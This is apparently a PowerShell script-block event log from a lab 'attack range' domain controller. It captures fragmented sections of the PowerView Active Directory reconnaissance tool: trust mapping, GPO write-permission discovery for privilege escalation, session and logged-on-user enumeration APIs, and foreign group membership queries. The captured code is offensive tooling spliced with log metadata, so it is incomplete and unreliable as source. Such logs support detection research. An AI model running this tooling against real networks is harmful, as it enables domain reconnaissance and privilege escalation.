'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' }
'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' }
'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' }
'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' }
'S-1-5-32-573' { 'BUILTIN\Event Log Readers' }
'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' }
'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' }
'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' }
'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' }
'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' }
'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' }
'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' }
Default {
Convert-ADName -Identity $TargetSid @ADNameArguments
}
}
}
catch {
b853f6b7-a6c5-4a64-a1b1-a3630ea11b7e
4104132150x0109926Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local4041ageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.DomainTrust.NET')]
[OutputType('PowerView.DomainTrust.LDAP')]
[OutputType('PowerView.DomainTrust.API')]
[CmdletBinding(DefaultParameterSetName = 'LDAP')]
Param(
[Parameter(ParameterSetName = 'API')]
[Switch]
$API,
[Parameter(ParameterSetName = 'NET')]
[Switch]
$NET,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[Parameter(ParameterSetName = 'LDAP')]
[Parameter(ParameterSetName = 'API')]
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[Parameter(ParameterSetName = 'LDAP')]
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Parameter(ParameterSetName = 'LDAP')]
[Switch]
$Tombstone,
[Parameter(ParameterSetName = 'LDAP')]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
# keep track of domains seen so we don't hit infinite recursion
$SeenDomains = @{}
# our domain status tracker
$Domains = New-Object System.Collections.Stack
$DomainTrustArguments = @{}
if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API }
if ($PSBoundParameters['NET']) { $DomainTrustArguments['NET'] = $NET }
if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $DomainTrustArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $DomainTrustArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] = $Credential }
# get the current domain and push it onto the stack
if ($PSBoundParameters['Credential']) {
$CurrentDomain = (Get-Domain -Credential $Credential).Name
}
else {
$CurrentDomain = (Get-Domain).Name
}
$Domains.Push($CurrentDomain)
while($Domains.Count -ne 0) {
$Domain = $Domains.Pop()
# if we haven't seen this domain before
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
# mark it as seen in our list
$Null = $SeenDomains.Add($Domain, '')
try {
# get all the trusts for this domain
$DomainTrustArguments['Domain'] = $Domain
$Trusts = Get-DomainTrust @DomainTrustArguments
if ($Trusts -isnot [System.Array]) {
$Trusts = @($Trusts)
}
# get any forest trusts, if they exist
if ($PsCmdlet.ParameterSetName -eq 'NET') {
$ForestTrustArguments = @{}
if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential }
$Trusts += Get-ForestTrust @ForestTrustArguments
}
if ($Trusts) {
if ($Trusts -isnot [System.Array]) {
$Trusts = @($Trusts)
}
# enumerate each trust found
ForEach ($Trust in $Trusts) {
if ($Trust.SourceName -and $Trust.TargetName) {
# make sure we process the target
$Null = $Domains.Push($Trust.TargetName)
$Trust
}
}
}
}
catch {
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
}
}
}
}
function Get-GPODelegation {
<#
.SYNOPSIS
Finds users with write permissions on GPO objects which may allow privilege escalation within the domain.
Author: Itamar Mizrahi (@MrAnde7son)
License: BSD 3-Clause
Required Dependencies: None
.PARAMETER GPOName
The GPO display name to query for, wildcards accepted.
.PARAMETER PageSize
Specifies the PageSize to set for the LDAP searcher object.
.EXAMPLE
Get-GPODelegation
Returns all GPO delegations in current forest.
.EXAMPLE
Get-GPODelegation -GPOName
Returns all GPO delegations on a given GPO.
#>
[CmdletBinding()]
Param (
[String]
$GPOName = '*',
[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)
$Exclusions = @('SYSTEM','Domain Admins','Enterprise Admins')
$Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
$DomainList = @($Forest.Domains)
$Domains = $DomainList | foreach { $_.GetDirectoryEntry() }
foreach ($Domain in $Domains) {
$Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))"
$Searcher = New-Object System.DirectoryServices.DirectorySearcher
$Searcher.SearchRoot = $Domain
$Searcher.Filter = $Filter
$Searcher.PageSize = $PageSize
$Searcher.SearchScope = "Subtree"
$listGPO = $Searcher.FindAll()
foreach ($gpo in $listGPO){
$ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"}
if ($ACL -ne $null){
$GpoACL = New-Object psobject
$GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath
$GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname
$GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference
$GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights
$GpoACL
}
}
}
}
########################################################
#
# Expose the Win32API functions and datastructures below
# using PSReflect.
# Warning: Once these are executed, they are baked in
# and can't be changed while the script is running!
#
########################################################
$Mod = New-InMemoryModule -ModuleName Win32
# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')]
# used to parse the 'samAccountType' property for users/computers/groups
$SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{
DOMAIN_OBJECT = '0x00000000'
GROUP_OBJECT = '0x10000000'
NON_SECURITY_GROUP_OBJECT = '0x10000001'
ALIAS_OBJECT = '0x20000000'
NON_SECURITY_ALIAS_OBJECT = '0x20000001'
USER_OBJECT = '0x30000000'
MACHINE_ACCOUNT = '0x30000001'
TRUST_ACCOUNT = '0x30000002'
APP_BASIC_GROUP = '0x40000000'
APP_QUERY_GROUP = '0x40000001'
ACCOUNT_TYPE_MAX = '0x7fffffff'
}
# used to parse the 'grouptype' property for groups
$GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{
CREATED_BY_SYSTEM = '0x00000001'
GLOBAL_SCOPE = '0x00000002'
DOMAIN_LOCAL_SCOPE = '0x00000004'
UNIVERSAL_SCOPE = '0x00000008'
APP_BASIC = '0x00000010'
APP_QUERY = '0x00000020'
SECURITY = '0x80000000'
} -Bitfield
# used to parse the 'userAccountControl' property for users/groups
$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{
SCRIPT = 1
ACCOUNTDISABLE = 2
HOMEDIR_REQUIRED = 8
LOCKOUT = 16
PASSWD_NOTREQD = 32
PASSWD_CANT_CHANGE = 64
ENCRYPTED_TEXT_PWD_ALLOWED = 128
TEMP_DUPLICATE_ACCOUNT = 256
NORMAL_ACCOUNT = 512
INTERDOMAIN_TRUST_ACCOUNT = 2048
WORKSTATION_TRUST_ACCOUNT = 4096
SERVER_TRUST_ACCOUNT = 8192
DONT_EXPIRE_PASSWORD = 65536
MNS_LOGON_ACCOUNT = 131072
SMARTCARD_REQUIRED = 262144
TRUSTED_FOR_DELEGATION = 524288
NOT_DELEGATED = 1048576
USE_DES_KEY_ONLY = 2097152
DONT_REQ_PREAUTH = 4194304
PASSWORD_EXPIRED = 8388608
TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216
PARTIAL_SECRETS_ACCOUNT = 67108864
} -Bitfield
# enum used by $WTS_SESSION_INFO_1 below
$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
Active = 0
Connected = 1
ConnectQuery = 2
Shadow = 3
Disconnected = 4
Idle = 5
Listen = 6
Reset = 7
Down = 8
Init = 9
}
# the WTSEnumerateSessionsEx result structure
$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{
ExecEnvId = field 0 UInt32
State = field 1 $WTSConnectState
SessionId = field 2 UInt32
pSessionName = field 3 String -MarshalAs @('LPWStr')
pHostName = field 4 String -MarshalAs @('LPWStr')
pUserName = field 5 String -MarshalAs @('LPWStr')
pDomainName = field 6 String -MarshalAs @('LPWStr')
pFarmName = field 7 String -MarshalAs @('LPWStr')
}
# the particular WTSQuerySessionInformation result structure
$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
AddressFamily = field 0 UInt32
Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
}
# the NetShareEnum result structure
$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{
Name = field 0 String -MarshalAs @('LPWStr')
Type = field 1 UInt32
Remark = field 2 String -MarshalAs @('LPWStr')
}
# the NetWkstaUserEnum result structure
$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{
UserName = field 0 String -MarshalAs @('LPWStr')
LogonDomain = field 1 String -MarshalAs @('LPWStr')
AuthDomains = field 2 String -MarshalAs @('LPWStr')
LogonServer = field 3 String -MarshalAs @('LPWStr')
}
# the NetSessionEnum result structure
$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{
CName = field 0 String -MarshalAs @('LPWStr')
UserName = field 1 String -MarshalAs @('LPWStr')
Time = field 2 UInt32
IdleTime = field 3 UInt32
}
# enum used by $LOCALGROUP_MEMBERS_INFO_2 below
$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
SidTypeUser = 1
SidTypeGroup = 2
SidTypeDomain = 3
SidTypeAlias = 4
SidTypeWellKnownGroup = 5
SidTypeDeletedAccount = 6
SidTypeInvalid = 7
SidTypeUnknown = 8
SidTypeComputer = 9
}
# the NetLocalGroupEnum result structure
$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{
lgrpi1_name = field 0 String -MarshalAs @('LPWStr')
lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')
}
# the NetLocalGroupGetMembers result structure
$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
lgrmi2_sid = field 0 IntPtr
lgrmi2_sidusage = field 1 $SID_NAME_USE
lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
}
# enums used in DS_DOMAIN_TRUSTS
$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
IN_FOREST = 1
DIRECT_OUTBOUND = 2
TREE_ROOT = 4
PRIMARY = 8
NATIVE_MODE = 16
DIRECT_INBOUND = 32
} -Bitfield
$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
DOWNLEVEL = 1
UPLEVEL = 2
MIT = 3
DCE = 4
}
$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
NON_TRANSITIVE = 1
UPLEVEL_ONLY = 2
FILTER_SIDS = 4
FOREST_TRANSITIVE = 8
CROSS_ORGANIZATION = 16
WITHIN_FOREST = 32
TREAT_AS_EXTERNAL = 64
}
# the DsEnumerateDomainTrusts result structure
$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
DnsDomainName = field 1 String -MarshalAs @('LPWStr')
Flags = field 2 $DsDomainFlag
ParentIndex = field 3 UInt32
TrustType = field 4 $DsDomainTrustType
TrustAttributes = field 5 $DsDomainTrustAttributes
DomainSid = field 6 IntPtr
DomainGuid = field 7 Guid
}
# used by WNetAddConnection2W
$NETRESOURCEW = struct $Mod NETRESOURCEW @{
dwScope = field 0 UInt32
dwType = field 1 UInt32
dwDisplayType = field 2 UInt32
dwUsage = field 3 UInt32
lpLocalName = field 4 String -MarshalAs @('LPWStr')
lpRemoteName = field 5 String -MarshalAs @('LPWStr')
lpComment = field 6 String -MarshalAs @('LPWStr')
lpProvider = field 7 String -MarshalAs @('LPWStr')
}
# all of the Win32 API functions we need
$FunctionDefinitions = @(
(func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
(func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
(func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
(func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError),
(func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),
(func advapi32 RevertToSelf ([Bool]) @() -SetLastError),
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
(func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
(func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
(func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
$Wtsapi32 = $Types['wtsapi32']
$Mpr = $Types['Mpr']
$Kernel32 = $Types['kernel32']
Set-Alias Get-IPAddress Resolve-IPAddress
Set-Alias Convert-NameToSid ConvertTo-SID
Set-Alias Convert-SidToName ConvertFrom-SID
Set-Alias Request-SPNTicket Get-DomainSPNTicket
Set-Alias Get-DNSZone Get-DomainDNSZone
Set-Alias Get-DNSRecord Get-DomainDNSRecord
Set-Alias Get-NetDomain Get-Domain
Set-Alias Get-NetDomainController Get-DomainController
Set-Alias Get-NetForest Get-Forest
Set-Alias Get-NetForestDomain Get-ForestDomain
Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog
Set-Alias Get-NetUser Get-DomainUser
Set-Alias Get-UserEvent Get-DomainUserEvent
Set-Alias Get-NetComputer Get-DomainComputer
Set-Alias Get-ADObject Get-DomainObject
Set-Alias Set-ADObject Set-DomainObject
Set-Alias Get-ObjectAcl Get-DomainObjectAcl
Set-Alias Add-ObjectAcl Add-DomainObjectAcl
Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl
Set-Alias Get-GUIDMap Get-DomainGUIDMap
Set-Alias Get-NetOU Get-DomainOU
Set-Alias Get-NetSite Get-DomainSite
Set-Alias Get-NetSubnet Get-DomainSubnet
Set-Alias Get-NetGroup Get-DomainGroup
Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup
Set-Alias Get-NetGroupMember Get-DomainGroupMember
Set-Alias Get-NetFileServer Get-DomainFileServer
Set-Alias Get-DFSshare Get-DomainDFSShare
Set-Alias Get-NetGPO Get-DomainGPO
Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping
Set-Alias Get-LoggedOnLocal Get-RegLoggedOn
Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess
Set-Alias Get-SiteName Get-NetComputerSiteName
Set-Alias Get-Proxy Get-WMIRegProxy
Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn
Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection
Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive
Set-Alias Get-NetProcess Get-WMIProcess
Set-Alias Invoke-ThreadedFunction New-ThreadedFunction
Set-Alias Invoke-UserHunter Find-DomainUserLocation
Set-Alias Invoke-ProcessHunter Find-DomainProcess
Set-Alias Invoke-EventHunter Find-DomainUserEvent
Set-Alias Invoke-ShareFinder Find-DomainShare
Set-Alias Invoke-FileFindb68aa9e3-754f-4d69-962b-40f9a6518a15
4104132150x0109925Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3941tionships for the current (or a remote)
forest using number of method using the .NET method GetAllTrustRelationships() on a
System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest.
.PARAMETER Forest
Specifies the forest to query for trusts, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestTrust
Return current forest trusts.
.EXAMPLE
Get-ForestTrust -Forest "external.local"
Return trusts for the "external.local" forest.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestTrust -Forest "external.local" -Credential $Cred
Return trusts for the "external.local" forest using the specified alternate credenitals.
.OUTPUTS
PowerView.DomainTrust.NET
A TrustRelationshipInformationCollection returned when using .NET methods (default).
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForestTrust.NET')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$NetForestArguments = @{}
if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential }
$FoundForest = Get-Forest @NetForestArguments
if ($FoundForest) {
$FoundForest.GetAllTrustRelationships() | ForEach-Object {
$_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET')
$_
}
}
}
}
function Get-DomainForeignUser {
<#
.SYNOPSIS
Enumerates users who are in groups outside of the user's domain.
This is a domain's "outgoing" access.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainUser
.DESCRIPTION
Uses Get-DomainUser to enumerate all users for the current (or target) domain,
then calculates the given user's domain name based on the user's distinguishedName.
This domain name is compared to the queried domain, and the user object is
output if they differ.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainForeignUser
Return all users in the current domain who are in groups not in the
current domain.
.EXAMPLE
Get-DomainForeignUser -Domain dev.testlab.local
Return all users in the dev.testlab.local domain who are in groups not in the
dev.testlab.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred
Return all users in the dev.testlab.local domain who are in groups not in the
dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and
using the specified alternate credentials.
.OUTPUTS
PowerView.ForeignUser
Custom PSObject with translated user property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForeignUser')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
$SearcherArguments['LDAPFilter'] = '(memberof=*)'
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
}
PROCESS {
Get-DomainUser @SearcherArguments | ForEach-Object {
ForEach ($Membership in $_.memberof) {
$Index = $Membership.IndexOf('DC=')
if ($Index) {
$GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.'
$UserDistinguishedName = $_.distinguishedname
$UserIndex = $UserDistinguishedName.IndexOf('DC=')
$UserDomain = $($_.distinguishedname.SubString($UserIndex)) -replace 'DC=','' -replace ',','.'
if ($GroupDomain -ne $UserDomain) {
# if the group domain doesn't match the user domain, display it
$GroupName = $Membership.Split(',')[0].split('=')[1]
$ForeignUser = New-Object PSObject
$ForeignUser | Add-Member Noteproperty 'UserDomain' $UserDomain
$ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
$ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname
$ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
$ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
$ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership
$ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser')
$ForeignUser
}
}
}
}
}
}
function Get-DomainForeignGroupMember {
<#
.SYNOPSIS
Enumerates groups with users outside of the group's domain and returns
each foreign member. This is a domain's "incoming" access.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainGroup
.DESCRIPTION
Uses Get-DomainGroup to enumerate all groups for the current (or target) domain,
then enumerates the members of each group, and compares the member's domain
name to the parent group's domain name, outputting the member if the domains differ.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainForeignGroupMember
Return all group members in the current domain where the group and member differ.
.EXAMPLE
Get-DomainForeignGroupMember -Domain dev.testlab.local
Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred
Return all group members in the dev.testlab.local domain where the member is
not in dev.testlab.local. binding to the secondary.dev.testlab.local for
queries, and using the specified alternate credentials.
.OUTPUTS
PowerView.ForeignGroupMember
Custom PSObject with translated group member property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForeignGroupMember')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
